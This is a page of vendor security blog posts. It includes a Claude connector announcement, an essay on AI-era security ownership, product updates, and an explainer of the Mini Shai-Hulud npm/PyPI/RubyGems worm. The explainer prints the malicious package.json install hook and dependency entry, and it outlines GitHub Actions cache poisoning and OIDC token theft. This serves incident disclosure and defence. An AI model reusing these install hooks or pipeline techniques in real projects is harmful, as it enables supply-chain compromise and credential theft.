Security & Compliance | Harness Blog Primary Category

Partners

Software Delivery Context, Now Inside Claude

Harness is now available in the Claude Connectors Directory, giving teams real-time AI access to pipelines, deployments, approvals, and software delivery context.

Rohan Gupta

Chinmay Gaikwad

June 1, 2026

Time to read

Key Takeaway: The Harness MCP Server is now in the official Claude Connectors Directory. Developers using Claude can now discover and connect to Harness, gaining structured, real-time access to their pipelines, deployments, approvals, and delivery workflows. What makes this different from a typical API integration is what's underneath: the Harness Software Delivery Knowledge Graph, which gives Claude the context it needs to make decisions that are accurate, fast, and safe.

‍

AI agents are only as good as the context they operate in. That's not a design philosophy. It's a practical constraint. An AI agent that doesn't understand how the underlying software delivery entities relate to each other, or what the data actually means, will get things wrong. In software delivery, wrong looks like a botched deployment, a misread failure, or an approval granted when it shouldn't have been, which directly affects your users.

Today, we're announcing that the Harness MCP Server is in the official Claude Connectors Directory, making Harness discoverable and connectable for every team using Claude. But the announcement isn't really about the directory listing. It's about what Harness + Claude can actually do in your delivery system.

What You Can Do with Claude and Harness

Claude can work across the full Harness delivery platform:

Capability	What Claude can do
Pipeline execution	Trigger and monitor builds across GitHub, GitLab, Bitbucket, or Harness Code
Deployment management	Promote services across environments with approval gate verification
Failure diagnosis	Pull structured execution context and surface root cause analysis
Approval workflows	Retrieve pending approvals and take governed delivery actions
Environment state	Query what's deployed where, in real time
Security posture	Review SBOMs, vulnerability scan results, and SSCA compliance status
Resilience testing	Initiate chaos experiments and retrieve structured results
Cost signals	Surface cloud cost anomalies tied to deployment activity

‍

All of it is grounded in the Knowledge Graph, not raw API responses, but a structured model of your delivery system that Claude can reason over precisely.

The Problem With Giving AI Agents Raw API Access

MCP lets AI models call external tools by reading API descriptions and deciding which to invoke. That flexibility is useful. But when you're building an agent that needs to reason across an entire software delivery lifecycle, CI, CD, security scans, approvals, feature flags, cost signals, and environments, raw API access creates a deep reliability problem.

Consider a question a platform engineering lead might ask:

‍"Show me the pipelines with the highest failure rate over the last 30 days, and for each one, tell me which services they deploy and whether any of those services have open critical vulnerabilities."

That question spans four domains: pipeline execution history, service-to-pipeline relationships, environment state, and security scan results. An agent working off raw APIs has to discover which APIs exist across each domain, call them in the right order, paginate correctly, infer how field names correspond across systems, and synthesize the results without misinterpreting nested objects or guessing at relationships.

The result is 5+ sequential LLM calls, hundreds of thousands of input tokens, high latency, and an agent that had to guess at every join. Guessing is where hallucinations happen.

What the Harness + Claude Integration Changes

The Harness Software Delivery Knowledge Graph is a purpose-built model of everything that happens after code is written: builds, test runs, deployments, approvals, security scans, environment states, feature flags, infrastructure changes, cost signals, and rollbacks. Not as raw data but as a connected, typed, semantically annotated graph of entities and relationships.

Every field in the graph carries metadata that tells an agent exactly how to use it: whether a value is a number or a string, whether it can be aggregated or only filtered, what its unit is, and how it joins to related entities. Cross-module relationships, between a pipeline and the services it deploys, between a deployment and the security scan results for that artifact, between an environment change and the cost anomaly that followed, are explicitly declared, not inferred.

This is the difference between an agent that can access your delivery system and one that understands it.

When Claude connects to Harness via MCP, it doesn't receive a set of API endpoints. It's getting access to a structured model of your entire delivery organization, one where the relationships are known, the data types are enforced, and the agent can construct precise queries rather than guessing at field semantics.

‍The practical effect with Harness + Claude: that same cross-domain question above becomes 2–3 structured queries against a known schema. The agent selects the right entity types from the graph, generates queries with exact fields and declared relationships, and returns a deterministic answer. No guesswork. No hallucinated field names. No silent wrong answers.

What This Looks Like in Practice

Debugging a failed pipeline without context switching

A build has failed. Normally, you'd open the Harness UI, navigate to the execution, copy the relevant logs, paste them into a conversation, and wait for analysis. The AI reasons over whatever you managed to capture.

With the Harness MCP connection active in Claude, you ask what failed. Claude doesn't just pull logs; it queries the Knowledge Graph to understand the structure of that pipeline, which stage failed, what services were involved, whether similar failures have occurred before, and what changed since the last successful run. The answer it surfaces reflects the full delivery context, not just the stack trace you happened to copy.

Promoting a deployment through governed gates

Your team is ready to move a service from staging to production. Claude checks the current environment state, verifies that required approval gates have been satisfied, confirms the security scan passed for the artifact version you're promoting, and initiates the deployment — with every action running through your existing RBAC policies and logged for audit.

The agent isn't guessing about whether conditions are met. It's querying a graph where those conditions are modeled as typed relationships with known states. The answer is deterministic because the data is structured to make it so.

This Is Not AI Without Guardrails

The natural question when Claude can trigger pipelines and manage deployments: what stops it from doing something it shouldn't?

The same controls that govern everything else in Harness. Every action taken through the MCP server runs through your existing RBAC permissions, OPA policy enforcement, approval gates, and audit logging. Claude operates with exactly the permissions you have, nothing more. Every action is tracked. Nothing bypasses the governance layer.

The Knowledge Graph reinforces this: because Harness AI understands your delivery system structurally, it also understands the constraints within it. Approval gates aren't just optional steps the agent might skip; they're modeled as typed relationships with state. The agent can't promote past a gate that hasn't cleared because the graph reflects that clearly.

Speed and governance aren't a tradeoff. They coexist by design.

Why the Claude Connectors Directory Matters

The Claude Connectors Directory is a curated, reviewed set of integrations. Anthropic evaluates each server before listing it. Being approved is a signal of trust that carries weight for enterprise teams deciding which AI integrations to enable.

It also means discoverability at scale: engineering teams using Claude for DevOps workflows will find Harness natively. One-click OAuth connection, no API key management, no manual configuration.

This fits a broader pattern. The Google Cloud partnership brought Harness into Google's AI ecosystem through Vertex AI and Gemini CLI. The Cursor plugin brought it into the IDE. The Claude Connectors Directory brings it into conversational AI. In each case, the goal is the same: wherever developers are doing their best thinking and wherever AI is being asked to help with software delivery, Harness should be present with the right context for that AI to act reliably.

Getting Started

If you're already a Harness customer:

Open Claude and then the Connectors page
Search for Harness in the MCP directory
Authenticate with OAuth, no API keys, no manual configuration
Start asking Claude about your pipelines, deployments, and delivery workflows

If you're new to Harness, sign up for free and connect from day one. Detailed steps are listed in the documentation.

The Harness Connector gives Claude the ability to act in your delivery system. The Knowledge Graph gives it the understanding to act well. Together, that's what reliable AI in software delivery actually looks like.

‍

Technical

Anthropic’s Mythos, Glasswing, and how the industry must move forward

This is not a security problem. As we’ve settled into the speed of AI, it’s become clear that security isn’t a job solely for the security team. Here’s why.

Adam Arellano

May 29, 2026

Time to read

When Anthropic broke the news of Mythos and Project Glasswing, the security community did what it always does. It published a flurry of papers asking "What does this mean for security?" It's a reasonable instinct, but it's the wrong question.

The real question is who actually owns the problem?

The Advice Is Right. The Audience Is Wrong.

Even Anthropic's own guidance on preparing your security team for the AI era, comprehensive and well-reasoned as it is, lands squarely on steps that security teams can influence but cannot execute. Maintaining accurate inventories of exposed systems, decommissioning legacy services, and minimizing API exposure. These are all the right steps. They are also, unambiguously, engineering steps.

Security teams have owned these conversations for years, not because they were ever truly equipped to act on them, but because engineering was remarkably effective at passing the responsibility to someone else. That era is over.

The Eng & Sec Silos Have to Go

Take attack surface reduction as a concrete example. Anthropic's recommendations are sound: know what you're exposing, shut down what you don't need, lock down your APIs. But a security team cannot decommission a legacy service. They cannot refactor an API. They can nag, escalate, and document, then watch the ticket sit in a backlog for six months.

Engineering has to take this on. Not reluctantly, not after repeated escalations, but as a core ownership responsibility. The framing of "security's job" versus "engineering's job" is a liability the industry can no longer afford.

The Path Forward Is Uncomfortable — But It Starts Now

This transition won't be easy. Changing ownership models inside organizations is political, slow, and often painful. But the alternative means maintaining siloed teams while AI-accelerated vulnerability exploitation scales faster than any manual process can respond. That isn't a strategy. It's a countdown.

Here's what needs to happen immediately:

Security and engineering must jointly review what we know about threats like Mythos and the recommendations Anthropic has put forward — together, in the same room, with shared accountability.
Joint planning sessions aren't optional. Shared war-gaming, shared roadmaps, shared ownership of remediation timelines.
Cross-industry knowledge sharing is no longer optional. Threat actors collaborate, share tooling, and iterate in the open. The industry has to build the same sharing culture attackers already have.

The Wave Is Already Here

This isn't a theoretical future risk. The wave is already forming offshore, and most organizations are still debating whether to build a seawall.

AI hasn't just made attackers faster, it has fundamentally changed the economics of exploitation. What once required a skilled threat actor, weeks of reconnaissance, and significant resources can now be automated, scaled, and deployed by someone with a capable model and a motivated prompt. Zero day vulnerabilities that previously had a window of days or weeks before widespread exploitation are now being weaponized in hours. The asymmetry between attack and defense has never been more extreme.

Here's the uncomfortable truth: the traditional security model was never built for this speed. It was built for a world where humans attacked and humans defended, where there was time to deliberate, escalate, and patch. That world is gone.

Mythos doesn't wait for your quarterly security review. GlassWing doesn't care that your legacy service decommission is "on the roadmap for H2." AI-powered exploit tooling operates at machine speed. And right now, the defense side of that equation is still running on organizational clock time.

Two Futures

Organizations that recognize this moment and act on it will look very different in three years. Security and engineering will share OKRs, not just Slack channels. Remediation won't be a ticket handed off between teams, it will be a joint sprint. Attack surface reduction will be an engineering hygiene standard, not a security audit finding.

Organizations that don't adapt will face a different outcome. It won’t be a gradual decline, but a sudden, forced reorganization triggered by a breach that exposes exactly how brittle the old model was. The silo walls won't come down in a planned migration. They'll come down in an incident post-mortem.

This Is the Moment

Industry inflection points rarely announce themselves clearly, but this one is. The research is public and the threat models are documented. Anthropic, and others, have laid out precisely what needs to happen. The gap between knowing and doing is entirely organizational — and that gap is where the real risk lives.

The teams that start the hard conversations now about ownership, accountability, and shared responsibility are the ones that will be positioned to respond when the wave hits. And it will hit. The question isn't whether your organization needs to change. The question is whether you'll choose the terms.

Technical

Mini Shai-Hulud Explained: How the TanStack and RubyGems Supply Chain Attacks Worked

Mini Shai-Hulud is a self-propagating supply-chain worm targeting npm, PyPI, and RubyGems. It abuses CI/CD pipelines, stolen tokens, and trusted publishing flows to spread malicious packages and steal credentials.

Roshan Piyush

May 20, 2026

Time to read

Shai-Hulud is back - this time being lighter, faster and more automated than before. This new wave, termed as Mini Shai-Hulud, has affected a number of packages from tanstack, uipath, opensearch-project and mistralai among others over the past few weeks, with the latest series of major compromises coming on 19^th May, 2026 on major organizations openclaw-cn and antv.

Check an extensive list of affected packages here. This self-propagating software supply-chain worm compromised legitimate high-profile packages with millions of weekly downloads, significantly increasing the potential blast radius. This article details the technical workings, sophisticated propagation mechanism and remediation of this supply-chain attack.

Preface

Open-source ecosystems operate on trust. Modern applications routinely pull hundreds of third-party dependencies during development and deployment, often through fully automated CI/CD pipelines. This creates a trust chain as shown below.

Though efficient, this model creates a vast attack surface. Compromising any link in the chain allows attackers to distribute malicious code as a "trusted" update. This is the core idea behind software supply-chain attacks.

Introduction

In brief, this malware was designed to execute automatically during npm package installation, harvest sensitive credentials from developer systems and CI/CD environments and abuse stolen publishing credentials to release additional malicious package versions. This worm-like propagation mechanism allowed the attack to spread rapidly through trusted package maintainers and automated release pipelines.

What made Mini Shai-Hulud technically more advanced than before was:

Improved stealth - Newer variants leveraged obfuscated loaders, staged payload delivery and alternate runtimes like Bun to reduce detection by traditional Node.js-focused security tooling.
Persistence - The worm made attempts to persist through IDE integrations, VS Code hooks, Claude Code hooks, OS services and background processes.
Better environment awareness - Mini Shai-Hulud fingerprinted developer and CI environments by auditing OS, tooling, cloud credentials and registry tokens. This allowed the worm to adapt payloads and maximize credential harvesting across npm, PyPI and RubyGems ecosystems.
CI/CD and provenance abuse – Unlike earlier variants that relied mainly on stolen maintainer tokens, Mini Shai-Hulud compromised trusted GitHub Actions release pipelines and abused OIDC-based publishing flows, allowing malicious packages to pass modern provenance and trusted publishing verification checks.

The malware propagated through stolen maintainer tokens, GitHub sessions, CI secrets, publishing credentials and developer machines. So once enough maintainers and CI pipelines were infected, the worm jumped laterally across ecosystems. This compromised package managers like npm and PyPI with RubyGems also facing a similar attack chain, making the campaign a distributed ecosystem-wide compromise rather than a single-point attack, leading to no single “ground zero” for Mini Shai-Hulud.

The decentralized and self-propagating nature of the attack also made containment significantly harder as the malware continuously resurfaced through multiple compromised maintainers, registries and CI/CD entry points even weeks after the initial wave, with new exploitation chains still being identified as late as 19^th May, 2026. One of the most impactful compromises of the wave, however, emerged through the TanStack attack chain on 11^th May, 2026.

Timeline

September 2025 - The original Shai-Hulud worm hits npm, compromising 200+ packages. The first time a supply chain attack runs fully automatically, no human is needed after the initial launch.

December 2025 - An updated version (Shai-Hulud 2.0) appears. Faster, broader and starts hitting maintainers from well-known projects like Zapier and Postman.

March 31, 2026 - The axios package gets compromised. One of the most downloaded npm packages in existence. Attackers hijack a maintainer account and sneak in a hidden dependency that runs a malicious script on install. CISA issues an official advisory.

April 29, 2026 - Mini Shai-Hulud emerges, this time targeting SAP's developer ecosystem. Four core SAP packages are poisoned for a few hours. Over 1,000 developers unknowingly hand over their credentials before the packages are pulled.

May 11-12, 2026 - The big one. 172 packages were compromised in 48 hours across npm and PyPI simultaneously. TanStack, Mistral AI, UiPath, OpenSearch are all hit. For the first time, the malicious packages pass provenance verification, meaning even teams doing everything right got affected.

May 12, 2026 - On the same day, RubyGems gets flooded with 500+ malicious packages via bot accounts. New registrations suspended. Everything yanked within 24 hours, but the message is clear: No registry is safe.

May 19, 2026 - The campaign resurfaces again compromising 300+ additional npm packages, including the AntV ecosystem and packages from OpenClaw-CN. The newer variants expanded persistence, stealth and propagation capabilities through GitHub-based fallback C2.

Deepdive Into TanStack Exploit

Instead of directly uploading malware to npm using stolen maintainer credentials, the attackers reportedly abused the dangerous pull_request_target trigger. GitHub cache served as the medium for malware delivery. The compromise here occurred at the CI/CD infrastructure layer rather than through a visible malicious commit. Let’s understand the exploit step-by-step.

Preparing Payload

The attack began from a malicious fork named voicproducoes/router (now deleted), where the attacker pushed an orphaned commit 79ac49eedf774dd4b0cfa308722bc463cfe5885c into the forked tanstack/router repository. The commit itself introduced only two files:

tanstack_runner.js - containing massive obfuscated payload of roughly 2.3 MB
package.json - to invoke the payload by defining a package named @tanstack/setup

{
  "name": "@tanstack/setup",
  "version": "1.0.0",
  "scripts": {
    "prepare": "bun run tanstack_runner.js  && exit 1"
  },
  "dependencies": {
    "bun": "^1.3.13"
  }
}

As we can see, the prepare lifecycle hook runs the payload using bun, thus implying that whenever the package @tanstack/setup would be installed, the payload would automatically be executed.

Gaining Trusted Publishing Access

Now, the attacker opened a malicious pull request #7378 to tanstack/router from another forked repository named zblgg/configuration, triggering the CI workflows of the base repository. The vulnerable workflow among them was bundle-size.yml, which used the dangerous pull_request_target trigger, causing it to run with access to the base repository’s permissions, caches and GitHub Actions identity. The malicious PR contained a seemingly innocent file addition named packages/history/vite_setup.mjs, which maliciously modified the pnpm dependency store inside the GitHub Actions runner during workflow execution.

Upon workflow completion, actions/cache automatically uploaded the poisoned pnpm store to the shared repository cache. To ensure this malicious entry remained the the newest valid cache entry, the attacker repeatedly pushed updates to the PR branch. Finally, the attacker force-pushed the PR branch back to match the main branch HEAD, leaving no visible changes in the PR to hide traces.

Releasing Malicious Packages

Since GitHub Actions caches are shared across workflows, poisoned artifacts created during the attacker-controlled workflow execution were later restored inside TanStack’s legitimate release workflow defined by release.yml. The attacker’s payload gained execution and extracted GitHub Actions OIDC authentication tokens directly from the runner’s process memory using /proc/<pid>/mem access techniques.

The payload from the poisoned cache then formed the malicious packages by doing the following 2 things:

Placing payload-containing router_init.js file at the package root
Introducing an optionalDependencies entry in package.json pointing to the malicious GitHub commit we prepared earlier

"optionalDependencies": {
  "@tanstack/setup": "github:tanstack/router#79ac49eedf774dd4b0cfa308722bc463cfe5885c"
}

Finally, the trusted yet compromised workflow itself requested valid short-lived npm publishing tokens and published malicious releases directly through the official TanStack CI/CD pipeline, thus carrying valid provenance attestations.

Self-Propagation Through Mini Shai-Hulud Payload

Design of the malicious package ensured that every installation of the affected TanStack package silently fetched the orphaned commit and executed tanstack_runner.js during installation on developer machines and CI runners. This combined with the obfuscated payload in router_init.js containing sophisticated multi-stage credential stealer with persistence, exfiltration and self-destruction capabilities. This led to harvesting credentials from developer machines, GitHub Actions runners’ memory and enterprise CI/CD environments by scanning environment variables, configuration files and cloud credentials among other things.

It also attempted persistence through IDE hooks, VS Code extensions, Claude Code integrations and background services while exfiltrating stolen secrets through Session Protocol CDN or GitHub GraphQL APIs. Finally, upon discovering tokens with package publishing access, the code automatically published additional compromised packages containing the same router_init.js payload and optionalDependencies chain, enabling Mini Shai-Hulud to self-propagate across npm, PyPI and other software ecosystems. Together, this formed the Mini Shai-Hulud worm.

‍

Attacker creates malicious fork (zblgg/configuration)
                    ↓
PR #7378 opened using pull_request_target workflow
                    ↓
Workflow checks out attacker-controlled PR code
                    ↓
Malicious code modifies pnpm dependency store
                    ↓
actions/cache saves poisoned cache to repository cache
                    ↓
Legitimate maintainer later merges normal PR to main
                    ↓
Trusted release workflow restores poisoned pnpm cache
                    ↓
Attacker-injected binaries execute inside official CI runner
                    ↓
Malicious package with router_init.js and optionalDependencies published
                    ↓
Package installed and npm install is run
                    ↓
prepare hook executes for tanstack/setup
                    ↓
tanstack_runner.js executes from orphaned commit
                    ↓
router_init.js is unpacked and triggered
                    ↓
Environment fingerprinting + token discovery
                    ↓
Credential harvesting + exfiltration
                    ↓
More malicious packages released with Mini Shai-Hulud Payload

‍

RubyGem Variant: Three Registries In One Week

The TanStack attack wasn't alone. On the same day, RubyGems was hit by a separate campaign with 120+ malicious packages uploading SSH keys, API tokens and credentials on install. The incident demonstrated that Mini Shai-Hulud was no longer an npm-only threat but an ecosystem-level supply-chain worm capable of moving laterally across package registries and CI/CD trust boundaries.

RubyGems temporarily suspended new account registrations after hundreds of malicious gems were uploaded through automated bot accounts in a coordinated supply-chain attack. Researchers observed that many of the malicious gems contained credential-stealing functionality targeting developer machines, CI/CD pipelines and cloud environments similar to the npm or PyPI campaigns. Unlike the TanStack compromise where attackers weaponized trusted publishing infrastructure, the RubyGems wave appeared more focused on large-scale registry flooding and ecosystem poisoning using automated account creation and stolen credentials.

The npm and PyPI attack was precise with a worm spreading quietly through stolen tokens, targeting specific maintainers with valid provenance to avoid detection. The RubyGems attack was blunt with mass account creation, bulk uploads, live exploits and stolen credentials routed to ransomware groups within hours. However, both incidents followed the common principle of compromising developer infrastructure, stealing secrets and expanding propagation into additional software ecosystems. Two different attack methods, same motive.

Compromised Packages

Package Registry	Organization	Notable Packages	Few Compromised Versions
npm	tanstack	router-core, react-router, react-start, router-plugin, history	router-core - 1.169.5, 1.169.8 react-start - 1.167.68, 1.167.71 router-plugin - 1.167.38, 1.167.41 history - 1.161.9, 1.161.12
	starmind	collector-cli	collector-cli - 0.3.10
	openclaw-cn	feishu, cli, toutiao-ops, libsignal	feishu - 0.2.11 cli - 1.4.1 toutiao-ops - 1.2.4 libsignal - 2.1.1
	antv	g-image-exporter, x6, x6-geometry, gi-assets-advance, graphlib, g2, g2plot, infographic, vendor	g-image-exporter - 1.2.42 x6-geometry - 2.2.5
	opensearch-project	opensearch	3.6.2
	mistralai	mistralai, mistralai-gcp	mistralai - 2.2.3, 2.2.4 mistralai-gcp - 1.7.1, 1.7.2, 1.7.3
	uipath	agent.sdk, filesystem, admin-tool, llmgw-tool, orchestrator-sdk	agent.sdk - 0.0.18 filesystem - 1.0.1 llmgw-tool - 1.0.1
	squawk	airways, airport-data	airways - 0.4.2, 0.4.3, 0.4.5 airport-data - 0.7.4, 0.7.5, 0.7.7
	SAP	cap-js/cds-dbs, mbt, cds	Undisclosed
	axios	axios	1.14.1, 0.30.4
PyPI	guardrails-ai	guardrails-ai	0.10.1
PyPI	mistralai	mistralai	2.4.6
RubyGems	BufferZoneCorp	knot-activesupport-logger	Undisclosed

‍

Remediations

Mini Shai-Hulud proves that perimeter defenses fail when attackers exploit trusted pipelines and developer tools. To mitigate such ecosystem compromises, organizations must integrate secure coding, hardened releases and continuous software monitoring. The following mitigation steps should be followed:

Enforce strict GitHub Actions hardening by avoiding dangerous workflows such as pull_request_target. The same was done by TanStack in the commit here post attack.
Disable unnecessary npm lifecycle scripts like preinstall, postinstall and prepare in CI
Rotate and scope credentials aggressively including npm, PyPI cloud and CI/CD tokens
Continuously monitor dependencies and provenance attestations for anomalous package updates
Use Software Composition Analysis platforms such as Harness Supply Chain Security (SCS) to continuously inventory dependencies, enforce policy gates, detect malicious packages and block compromised artifacts before they enter build and release pipelines

According to Harness’s analysis of the npm attacks, organizations should treat CI/CD pipelines as critical security infrastructure, combining SBOM visibility, policy enforcement, provenance validation and automated dependency risk analysis to prevent trusted publishing systems from becoming malware distribution channels. Read more about it here.

How Harness Supply Chain Security Helps

Harness SCS helps you quickly detect and contain compromised dependencies like the TanStack package before they impact your pipelines. With real-time visibility into your SBOMs and dependency graph, you can identify affected versions, trace their usage across builds and environments and block them using OPA policies. This ensures malicious packages never propagate through your CI/CD or AI workflows.

Detect Compromised Packages

Harness SCS enables instant search across all repositories and artifacts to quickly identify if compromised package versions exist in your environment. The moment such a malicious package is disclosed, you can pinpoint its presence and assess impact across your entire supply chain in seconds.

Block Compromised Packages

Harness AI streamlines response to incidents like the TanStack compromise through simple natural-language prompts. With a single prompt, you can generate OPA policies to block affected versions of TanStack, for example, across all pipelines, preventing malicious packages from entering builds or deployments. As new compromised versions emerge, these policies can be quickly updated to maintain strong preventive controls across your SDLC. SCS customers can use this OPA policy to detect and block the affected versions

Track & Remediate Issues with Developers

Harness SCS automatically detects compromised versions across both production and non-production environments. Teams can track remediation, assign fixes and monitor progress through to deployment, ensuring exposed credentials and vulnerable dependencies are addressed quickly. This end-to-end visibility helps contain the impact and prevents compromised packages from persisting in your supply chain.

Next Steps In The Face Of Supply Chain Attacks

The Mini Shai-Hulud worm highlights how quickly a malicious package can expose high-value secrets when embedded deep within registries and CI runners. Given its role in managing dependencies and packages across projects, the impact extends beyond code to API keys, prompt data and downstream systems, often bypassing traditional security checks.

Defending against such attacks requires more than reactive fixes. Teams need real-time visibility into dependencies, the ability to enforce policies to block compromised versions and continuous tracking to ensure remediation is complete across all environments. Harness SCS enables teams to quickly identify where affected package versions are used, prevent them from entering new builds and ensure fixes are consistently rolled out.

With these controls in place, organizations can limit credential exposure, contain threats early and secure their supply chain against attacks like the TanStack compromise.

Technical

API Security Testing Just Got Easier & Smarter

Harness API Testing enhancements simplify setup with improved validations and workflows. Validate API reachability upfront to ensure smarter execution and reduce wasted resources.

Michael Isbitski

Md Zaid Imam

May 4, 2026

Time to read

Application security & engineering teams are under pressure to move faster, cover more, and reduce the operational drag that often comes with security testing. But in practice, two problems keep slowing teams down and adding friction.

Scan setup is often more complicated than it needs to be. Teams lose time navigating fragmented configuration flows, interpreting unclear fields, and correcting setup mistakes that only surface later. Even when teams know precisely what they want to test, configuring a scan correctly becomes a project of its own.
Test generation is only valuable when the targets behind it are actually reachable and executable. When APIs are unreachable, improperly mapped, or blocked due to missing authentication, teams end up generating tests that consume runner resources and waste time without producing meaningful results. That creates noise, extends scan times, and makes it harder to focus on other actionable results.

Harness API Testing Enhancements at a Glance

Today, we’re introducing several important enhancements to Harness API Testing that are designed to solve these exact issues and make API scans easier to configure, more reliable, and more efficient.

Improved Configuration Experience

The new scan configuration experience is built to reduce friction from the moment a user clicks “Create Scan.” It simplifies the setup flow, improves validation, and provides users with more guidance directly in context, rather than forcing them to guess or leave the page for help.

The highlights include:

A simpler, more structured configuration flow - to reduce the cognitive load of stepping through an extensive setup process, the scan creation experience has been consolidated into three clearer sections to help you focus on what matters.
Field-level guidance everywhere it matters - every configuration field now includes tooltips and helper text, with step-level documentation available alongside the workflow. You get immediate explanations of what each field does and how to configure it correctly.
Stronger validation early - the new experience focuses on automatic validation to avoid invalid names, incorrect selections, and incomplete inputs before finalizing creation of a scan, which translates to fewer failed setups and less trial-and-error.
Inline creation for dependent entities - you can now create items such as policies, authentication methods, and runners directly within the scan flow via inline panels, without navigating away in the interface and breaking momentum.

Added API Endpoint Validation

The new reachability validations in XAST Replay and DAST help you confirm whether APIs are actually reachable and properly authenticated, so scan execution stays focused on targets that can produce real results.

The highlights include:

Dedicated Reachability Test view in scan configuration - each scan now includes a Reachability Test tab that provides a rundown of API endpoint-level readiness before test generation proceeds.
Detailed endpoint visibility - you can see the full list of API endpoints, service mappings, reachability status, response codes, and response descriptions in one place.
Downloadable CSV for analysis and troubleshooting - results can be exported for offline review, making it easier for you to share findings, investigate failures, and track patterns across environments.
Smarter test generation control - helps reduce irrelevant noise by preventing test cases from being generated for APIs that are unreachable or fail authentication.

Why Teams Struggle with API Security Testing

These launches address two persistent sources of friction in API security testing: configuration complexity and execution inefficiency. Both slow teams down, create avoidable rework, and make it harder to get to meaningful security outcomes.

1. Scan setup has been too easy to get wrong

The problem is not just that the setup takes time. It is that the experience in tooling has often lacked enough structure, validation, and in-context explanation.

When configuration is too complex, users are far more likely to:

Enter incomplete or incorrect settings
Hesitate because they are unsure what a field requires
Depend on internal experts or professional services to get a scan configured properly
Spend more time troubleshooting than actually testing APIs

Security teams have long been dealing with incorrect or incomplete configurations, unclear field usage, and longer times to initially create a successful scan.

2. Weak validation delays necessary feedback

Without strong validation at the point of initial setup, users can move forward thinking a scan is correctly configured, only to discover later that something was malformed, missing, or misunderstood.

That creates a chain reaction:

Errors are caught after setup instead of during setup
Users have to backtrack and redo work
Confidence in the scan creation process drops
Time-to-value gets stretched unnecessarily

Without validations, helper text, tooltips, and field-specific guidance, it’s easy to make mistakes when entering wrong inputs and making selections.

3. Fragmented workflows break momentum

Context switching creates another major issue. If users need to leave the scan flow to create a policy, configure authentication, or add a runner, the API test setup experience becomes fragmented.

That fragmentation leads to:

Slower scan creation
More abandoned or half-finished workflows
Higher odds of misconfiguration
Less intuitive user experience

Teams often waste time bouncing between multiple pages and increase the likelihood of mistakes without inline workflows.

4. Test generation doesn’t equate to execution readiness

On the execution end of the equation, teams may encounter cases where tests are generated even when the target APIs are unreachable or not properly authenticated.

That leads to several downstream problems:

Unnecessary test generation
Wasted runner resources
More noise in scan output
Longer scan times

When API endpoint targets aren’t validated upfront, the result is unnecessary test generation and low-quality output.

5. High activity does not always mean high value

Large numbers of generated tests can look impressive on release dashboards, but if those tests are tied to unreachable APIs, they fail to create real security value.

Teams are left with:

Inflated scan activity metrics
Less trust in reported results
Wasted time separating signal from noise
Reduced confidence around coverage

Improper scan configurations that produce high volumes of poor results yield inaccurate metrics that are critical to application security programs. This reality can create a false sense of confidence in security posture.

A Closer Look at What’s New in Harness API Testing

These enhancements improve two critical parts of the API testing experience: how scans are configured and how test execution readiness is validated.

Scan Configuration Revamp & Validation Enhancement

Rather than spreading configuration across a larger set of steps, the new flow reduces the experience to three main sections that are:

General - define the basics, such as scan name, environment, frequency, and incremental scan behavior.

Source & Attacks - select traffic and policy.

Advanced Settings - configure optional items such as authentication, runners, traffic filters, URL regex, evaluation criteria, timeout behavior, and integrations.

That reorganization does more than simplify the UI. It separates required setup from optional tuning, helping you complete scan creation with more confidence and less guesswork.

With these enhancements, you can now more easily:

Understand fields in context through tooltips, helper text, and side-panel documentation available during setup.
Create policies inline without leaving the scan configuration flow.
Configure authentication inline, including form-based and AI-based authentication options, then immediately select them for use.
Create or select runners from the same page instead of navigating out to separate workflows.

This enhancement is especially important for teams that want to move quickly without sacrificing correctness. Keeping these dependent tasks in a single flow reduces interruptions and lowers the risk of setup errors.

The advanced settings experience also adds more clarity around complex configuration options, where you can now work with:

Traffic filter conditions
URL regex settings
Scan evaluation criteria with dynamic explanatory text
Idle timeout and scan timeout execution controls
Integrations

These details matter because they turn a complex setup from opaque to guided and actionable. You can find more technical documentation here.

For every running or completed scan, you will now see a Validation Summary tab that highlights critical details and the overall health of the configured API testing. Information here includes:

Total number of reachable and unreachable APIs
Number of tests failed due to auth issues
Domain reachability
Resource utilization during the scan window

Reachability Test for XAST Replay and DAST

The Reachability Test enhancement brings that same philosophy to execution: validate earlier, execute smarter. Before generating tests, the Harness platform now provides clearer visibility into whether APIs are actually ready to be tested.

The new Reachability Test tab gives you a dedicated place to inspect endpoint readiness before test generation begins. It surfaces:

the full list of API endpoints
service mapping details
reachability status
response codes
response descriptions

This enhancement turns what was previously harder to diagnose into something visible and actionable.

The Harness platform now uses reachability and authentication readiness as part of test generation control.

That means that no test cases are generated when:

API endpoints are unreachable
authentication is missing
authentication fails

The reachability tests help ensure execution resources are spent on APIs that can actually produce meaningful results. For security teams, this creates a more efficient and trustworthy scan lifecycle with:

less wasted runner consumption
fewer irrelevant or misleading test artifacts
cleaner signal in scan results
better alignment between reported coverage and executable coverage

You can read more technical details here.

Taken together, these enhancements make API security testing more usable at the front end and more efficient at the back end. Teams can configure scans faster, with fewer errors and less dependency on expert intervention, while also improving the quality of what gets executed once a scan runs.

Get Started Today

These Harness API Testing features are available immediately with your existing Harness subscription. There is no additional cost or setup required.

Current Customers: Log in to your dashboard today to test the security of your APIs seamlessly and more effectively.
New to the Platform? If you aren't yet validating your API security, contact us to schedule a personalized demo of Harness API Testing in action.

Request a demo

Technical

Shift Left, Protect Right: How Harness + Wiz Close the AppSec Gap

Unify code and runtime security with Harness and Wiz. Correlate findings, prioritize real risks, and fix vulnerabilities faster across the SDLC.

Renny Shen

April 28, 2026

Time to read

Modern application security goes from code to runtime. Vulnerabilities are found at every stage of the software development lifecycle (SDLC) - in the code developers write, open source packages they pull in, container images they build, and cloud infrastructure where it all runs. But finding vulnerabilities is no longer enough. With attack surfaces sprawling across pipelines, registries, and production environments, the harder problem is fixing the vulnerabilities that actually matter.

Understanding what’s important increasingly depends on correlating multiple data points. A critical CVE buried in a dependency looks very different depending on whether the vulnerable function is actually reachable, the library is used in production, or the affected service is internet-facing. Without runtime context, security and development teams are often left triaging noise instead of actually reducing risk. And fixing vulnerabilities discovered in production can be challenging without being able to follow the trail back to the repo and line of code where the vulnerability can be found.

No matter where application security lives in your organization - and increasingly, it lives in more than one place - Harness and Wiz are working together to make sure you're covered. Whether your team is shifting left from cloud security or pushing right from the development pipeline, integrating Harness and Wiz brings code and runtime findings together so you always have the context you need to act.

Shift Left, Protect Right. Who Owns Application Security?

Application security used to have a clear owner. The AppSec team ran the scanners, triaged findings, and created tickets for developers. But "shift left" has been pushing security earlier into the development process and ownership has been migrating toward the teams that actually write and ship code. Today, the DevSecOps or platform engineering team owns application security tooling in many organizations. They're the ones who know exactly where a vulnerability lives in code, who owns it, and how to get developers to fix them.

